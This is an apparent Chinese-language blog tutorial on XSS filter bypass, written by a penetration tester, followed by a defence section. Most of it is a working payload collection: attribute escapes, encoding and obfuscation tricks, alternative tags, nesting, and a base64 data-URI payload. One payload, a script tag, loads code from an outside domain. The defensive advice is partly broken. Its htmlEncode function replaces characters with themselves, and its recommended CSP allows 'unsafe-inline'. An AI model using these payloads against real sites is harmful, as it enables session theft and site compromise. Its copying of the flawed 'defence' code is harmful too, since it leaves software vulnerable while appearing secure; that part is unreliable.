XSS绕过实战:从基础过滤到高级混淆的攻防博弈
1. XSS攻防基础:从入门到绕过滤
跨站脚本攻击(XSS)就像Web安全领域的"变色龙",它能够根据环境不断变换形态。想象一下,你正在浏览一个看似正常的网页,突然弹出一个莫名其妙的弹窗——这就是最基础的XSS攻击在作祟。但现实中的攻防远比这复杂得多,就像猫捉老鼠的游戏,防御方筑起高墙,攻击者就会寻找新的攀爬方式。
最常见的三类XSS中,存储型像是埋在土壤里的地雷,一旦植入就会持续生效;反射型则像精准投放的导弹,需要诱骗用户点击特定链接;而DOM型更像是魔术师的障眼法,完全在浏览器端完成攻击。我曾在一个电商网站测试时,发现其搜索框存在反射型XSS漏洞,只需构造一个包含恶意脚本的搜索链接,任何点击该链接的用户都会中招。
基础绕过手法往往从标签属性注入开始。比如一个简单的输入框:
<input type="text" value='用户输入'>如果直接输入'><script>alert(1)</script><',最终生成的HTML会变成:
<input type="text" value=''><script>alert(1)</script><''>这样就能成功逃逸出value属性执行脚本。但现代WAF(Web应用防火墙)早就盯上了这种简单粗暴的方式,于是攻防进入下一阶段。
2. 编码艺术:HTML实体与JavaScript混淆
当直接注入被拦截时,编码转换就成了攻击者的画笔。记得有次渗透测试,目标网站过滤了所有尖括号,但允许HTML实体编码。于是我输入:
<script>aIert('XSS')</script>服务器解码后依然变成了可执行的脚本。这种编码就像密文通信,浏览器能读懂,但WAF可能被蒙蔽。
更高级的玩法是多重编码组合。比如先对payload进行URL编码,再进行HTML实体编码:
%3Cscript%3Ealert(1)%3C/script%3E → <script>alert(1)</script> → &lt;script&gt;alert(1)&lt;/script&gt;每层解码就像剥洋葱,最终暴露出核心payload。在测试某CMS系统时,我发现其过滤层只处理了一次解码,这种"解码深度不一致"的漏洞让多重编码绕过成为可能。
JavaScript自身的灵活性也提供了多种混淆手段:
// Unicode转义 \u0061\u006C\u0065\u0072\u0074(1) // 十六进制 eval("\x61\x6c\x65\x72\x74(1)") // 八进制 eval("\141\154\145\162\164(1)")这些变形就像给恶意代码穿上不同的"马甲",我曾用top['al'+'ert'](1)成功绕过了一个基于关键字黑名单的过滤器。
3. 标签变形术:突破过滤规则
当script标签被全面封杀时,替代标签就派上用场了。在一次真实渗透中,我发现目标系统严格过滤script,但允许svg标签。于是构造:
<svg onload=alert(1)>成功触发XSS。其他常用替代方案包括:
<img src=1 onerror=alert(1)> <iframe src="javascript:alert(1)"> <body onpageshow=alert(1)>大小写混淆是另一个经典技巧。某些WAF只匹配小写script标签:
<ScRiPt>alert(1)</sCriPt>更狡猾的是嵌套标签绕过:
<scr<script>ipt>alert(1)</scr</script>ipt>当过滤器愚蠢地删除内层script标签时,反而帮我们拼出了完整的执行代码。
对于严格的内容安全策略(CSP),data URI方案可能成为突破口:
<object data="data:text/html;base64,PHNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pg==">这个base64编码的payload解码后就是<script>alert(1)</script>,我在某个只允许同源脚本的网站上成功用此方法绕过限制。
4. 高级混淆:利用浏览器解析特性
浏览器与WAF的解析差异创造了丰富的绕过空间。注释拼接就是典型例子:
<script>/* */alert/* */(1)/* */</script>这种分散的payload可以绕过简单的正则匹配,我曾用它将一个长payload拆分成多个输入框注入。
HTML5新增的自定义数据属性也值得关注:
<div><img/src="x"/onerror=alert(1)>缺少空格的标签依然能被正确解析,但可能骗过简单的分词检测。
最精妙的要数编码组合拳。有次遇到一个层层过滤的系统,我最终使用的payload是:
<iframe src="jav	ascript:al\u0065rt(1)">它同时混合了:
- 十六进制编码的Tab符(
	) - Unicode转义(
\u0065) - 省略引号的属性 这种"鸡尾酒式"的混淆让防御系统难以建立统一的匹配规则。
5. 实战中的组合技巧
真实环境中的绕过往往需要多技术组合。去年审计某SAAS平台时,我遇到了如下防御:
- 过滤所有script标签(不区分大小写)
- 转义尖括号为实体
- 移除on事件属性
最终突破方案是:
<svg><script x=">" y='<'>alert(1)</script>利用svg内部的script标签不受限的特性,配合属性值中的未编码符号破坏解析。
HTTP参数污染是另一个有趣的角度。当系统同时接收多个同名参数时:
?name=<script>&name=alert(1)</script>不同中间件处理方式可能导致参数拼接,形成可执行代码。在Tomcat+Spring的组合中我就发现过这类问题。
对于内容长度限制,可以采用外部资源引用:
<script src=//x.xss.lc></script>配合短域名服务,我曾将整个payload压缩到20字符以内。
6. 防御者的视角:如何构建有效防护
作为曾经的攻击者,现在我想分享防御经验。深度防御策略应该包括:
- 输入验证:采用白名单而非黑名单
// 错误做法(黑名单) $input = preg_replace('/script/i', '', $input); // 正确做法(白名单) if(!preg_match('/^[a-z0-9\s]+$/i', $input)) { die('非法输入'); }- 输出编码:根据上下文选择编码方式
// HTML正文编码 function htmlEncode(str) { return str.replace(/&/g, "&") .replace(/</g, "<") .replace(/>/g, ">"); } // JavaScript上下文编码 function jsEncode(str) { return str.replace(/\\/g, "\\\\") .replace(/'/g, "\\'") .replace(/"/g, '\\"'); }- 内容安全策略(CSP):限制脚本来源
Content-Security-Policy: default-src 'self'; script-src 'unsafe-inline'- HttpOnly Cookie:防止敏感信息被窃取
setcookie('sessionid', 'value', ['httponly' => true]);在最近的项目中,我们采用多层过滤架构:
- 前端:输入实时验证
- 网关:WAF规则过滤
- 应用:参数化查询+输出编码
- 浏览器:严格CSP策略
这种纵深防御使得单一漏洞难以造成实质性危害。
7. 攻防演进:从对抗到共生
XSS攻防史就像一场永不停歇的军备竞赛。十年前可能一个简单的<script>标签就能成功,现在则需要复杂的混淆技术。但有趣的是,这种对抗反而推动了Web安全整体进步。
现代前端框架如React、Vue已经内置了XSS防护,它们的虚拟DOM机制自动处理了大部分危险字符。但框架本身也可能引入新的攻击面,比如Vue的v-html指令就需要注意。
自动化检测工具如Burp Suite、XSS Hunter已经成为渗透测试标配,但真正的突破往往还需要手动测试。我习惯用"分治法":先测试基础payload,被拦截后逐步添加混淆,观察哪部分触发了防御,就像解谜游戏一样有趣。
最后想强调的是,安全不是绝对的。在某个金融项目中发现XSS后,我们没有简单修复漏洞,而是借此机会重构了输入处理管道,引入了更安全的API设计模式。这才是攻防对抗的最高境界——让攻击成为改进的契机。